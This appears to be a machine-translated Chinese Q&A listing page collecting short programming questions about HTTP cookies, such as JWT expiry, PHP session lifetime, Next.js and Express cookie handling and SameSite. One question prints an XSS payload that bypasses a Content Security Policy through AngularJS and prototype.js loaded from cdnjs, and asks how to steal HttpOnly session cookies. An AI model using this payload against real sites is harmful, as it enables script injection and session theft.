cookies 相关问题

HTTP cookie是用户的Web浏览器存储的一段数据。除非另有说明,否则可以通过JavaScript和服务器端通过HTTP标头创建,读取,修改和删除cookie。

Web cookies maxAge 错误

我正在尝试为我的 JWT cookie 设置 maxAge,我已为其配置了 20 分钟,即 1198 秒。 变量 maxAgeInSeconds 是正确的,但浏览器设置了错误的时间(我认为这是由于......

回答 1 投票 0

setcookie() 默认 secure=true

在 php.ini 中,我可以在哪里将 setcookie() 调用()的默认“安全”参数值设置为 true:https://www.php.net/manual/en/function.setcookie.php#: ~:text=match%20all%20subdomains.-,

回答 1 投票 0

以Node.js(Express)为后端的Next.js中未设置Cookies

我按照本教程在我的项目中使用 HTTP-Only cookie: https://maxschmitt.me/posts/next-js-http-only-cookie-auth-tokens 后端工作正常,我可以在 Postman 中看到 cookie。但对于

回答 2 投票 0

将 cookie 加载到 Python 请求会话时出错

我正在尝试从 selenium 导出的 cookie 将 cookie 加载到 Python 中的请求会话中,但是当我这样做时,它会返回以下错误: “‘list’对象没有属性‘extract_cookies’” 定义

回答 7 投票 0

Cookie 显示在 cookies 选项卡中,但一秒钟后消失 [NextJS & cookies-next]

我正在使用 cookies-next 在 NextJS 中设置 cookie,如下所示(页面路由器,根据文档的客户端): 常量 cookieOptions = { 过期: new Date(Date.now() + 1000 * 60 * 60 * 24 * 399), // 399 天 (...

回答 1 投票 0

启用JavaScript和cookie以继续邮递员中的错误

我正在使用 coingecko 价格图表 api 在应用程序中显示图表,它工作正常,从上周开始,我在图表中遇到了问题,并且对邮递员感到厌倦。 在邮递员中调用 coingecko 价格图表 apcall

回答 1 投票 0

将 $_SESSION 设置为 1 个月后 PHP 过期

我正在尝试让我的 $_SESSIONS 在 30 天后过期。我不处理服务器上的任何敏感数据,因此我不担心 cookie 劫持。这行得通吗? ini_set('session.cookie_life...

回答 1 投票 0

如何使用selenium接受来自站点的cookie

我用 selenium 创建此代码来单击 cookie 按钮,因为我必须接受 cookie 才能访问网站数据 从硒导入网络驱动程序 从 selenium.webdriver.common.by 导入

回答 1 投票 0

启用 HTTPOnly 和 CSP 时使用 XSS 窃取 Cookie:解决方法和策略

当 HTTPOnly 开启且定义了 CSP 规则时,如何窃取 cookie?假设攻击者获得了一个执行 HTTP 的输入字段,并且该输入字段容易受到 XSS 攻击: 当 HTTPOnly 开启且定义了 CSP 规则时,如何窃取 cookie?假设攻击者获得了一个执行 HTTP 的输入字段,并且该输入字段容易受到 XSS 攻击: <form action="/createThread?topic={{lcTopic}}" method="post" class=""> <h2 class="text-muted">New Thread</h2> <hr> <div class="form-group"> <label>Body</label> <textarea type="text" rows="10" class="form-control" name="body" placeholder="Type the body of your thread here..."></textarea> </div> <button type="submit" class="btn btn-primary">Create Thread</button> <button type="button" id="threadPreview" class="btn btn-default">Preview</button> </form>` 在我的服务器中,我将 CSP 规则定义为: .use( helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: [ "'self'", "cdnjs.cloudflare.com" ], }, }) ) 攻击者可能通过将以下代码注入文本字段来绕过 CSP: <!DOCTYPE html> <html> <head> <title>XSS Demo</title> <SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></SCRIPT> <SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js"></SCRIPT> </head> <body ng-app ng-csp> <div> <button ng-click="$on.curry.call().alert('xss')">Click Me! </button> <div style="display:none;"> {{$on.curry.call().alert('xss')}} </div> </div> </body> </html> 现在,由于启用了 HTTPOnly,攻击者无法简单地执行“alert(document.cookie)”。考虑到 CSP 规则,他们还可以采用哪些其他方法来窃取 cookie? 我尝试了一个简单的警报(document.cookie),但由于 HTTPOnly 而不起作用: HTTP/1.1 200 OK X-Powered-By: Express Content-Security-Policy: default-src 'self';script-src 'self' cdnjs.cloudflare.com;base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Content-Type: text/html; charset=utf-8 Content-Length: 5924 ETag: W/"1724-zhGBtITbjmwCa+un6GYhGKL+lwo" Set-Cookie: connect.sid=THE COOKIE; Path=/; HttpOnly Date: Sat, 27 Apr 2024 09:29:04 GMT Connection: close 我什至尝试这样做: {{$on.curry.call().eval("var url = '/'; fetch(url).then(response => console.log(response.headers.get('Set-Cookie')))")}} 但是自从 CSP 我得到: angular.js:5930 EvalError:拒绝将字符串评估为 JavaScript,因为“unsafe-eval”不是以下内容安全策略指令中允许的脚本源:“script-src 注意:攻击者显然不允许更改服务器代码!他只能访问输入字段! 在这种情况下,攻击者无法从cookie中获取价值。 因为,HttpOnly 已激活。 这个活动是对的。 如果你成功执行JavaScriptalert(),你应该降级Web浏览器并重新攻击。

回答 1 投票 0

使用next js和express时如何去掉浏览器中的cookie

我正在开发这个项目,该项目使用 nextjs app dir 作为前端,并使用express 作为后端。 BE 返回一个用于身份验证的 jwt 令牌,并使用 res.cookie("

回答 1 投票 0

PHP CURL 将 cookie 保存到 cookiejar 中但不使用它

我有一个 PHP 脚本,它使用 CURL 通过简单的登录页面登录到网站。它向网站发送初始请求,并查看网站是否已登录(由于 cookie)或登录页面是否已...

回答 2 投票 0

fetch 在本地设置同源 cookie,但相同的代码在部署时不会设置 cookie

我正在撕扯我的头发。请帮忙!我有一个用户界面 SPA 应用程序,它是身份应用程序的前端。该应用程序有一个登录 API,用于设置身份验证 cookie。 SPA 发布登录

回答 1 投票 0

浏览器不保存cookie

我正在使用 Go Fiber 及其用于简单身份验证系统的会话中间件。 除了浏览器不保存 cookie 之外,一切正常。 我的后端服务于 https://127.0.0.1:...

回答 1 投票 0

Chrome 第三方 cookie 限制 - reCAPTCHA Enterprise

reCAPTCHA Enterprise 是否会受到 2024 年第 3 季度 Chrome 第三方 Cookie 限制的影响? 参考:https://developers.google.com/privacy-sandbox/3pcd 我们通过启用 chrome://

回答 1 投票 0

Axios 令牌刷新拦截器

我正在使用 Axios 拦截器来获取带有刷新令牌的新访问令牌。以下代码从服务器创建新的访问令牌,但我在浏览器中找不到 cookie。 工作正常,但 br...

回答 1 投票 0

有人可以向我解释一下Cookies的samesite属性吗

请问samesite 是指什么cookies 我知道的: 严格:cookie 将在同一站点上发送 Lax 和 None :将允许跨站点发送,但需要 HTTPS 但我还是很困惑, 目前...

回答 1 投票 0

如何在NestJS中设置仅HTTP cookie

我正在尝试使用accessToken和refreshToken实现JWT授权。 accessToken 和刷新令牌都需要在 HTTP only cookie 中设置。 我尝试了这段代码,但它没有设置烹饪...

回答 3 投票 0

如何编写测试用例来删除角度中的cookie

我的拦截器看起来像这样: 从 '@angular/core' 导入 { Injectable } ; 进口 { Http拦截器, Http请求, HttpHandler, Http事件, Http错误响应 来自 '@angular/common/http'; ...

回答 1 投票 0

在 IdentityServer4 客户端之间共享身份验证 cookie

我使用两个应用程序作为客户端实现了单点登录 (SSO)。 我希望用户在第一个应用程序中通过 SSO 应用程序进行身份验证,在第二个应用程序中不需要...

回答 2 投票 0

如何在Python中插入cookie以进行网页抓取?

我正在制作一个网络抓取工具,并将其托管在我的 Raspberry Pi B 上,但我需要抓取的网站需要 cookie 才能访问它。具体的 cookie 是 .ROBLOSECURITY。我已经在我们之前登录了...

回答 3 投票 0

© www.soinside.com 2019 - 2024. All rights reserved.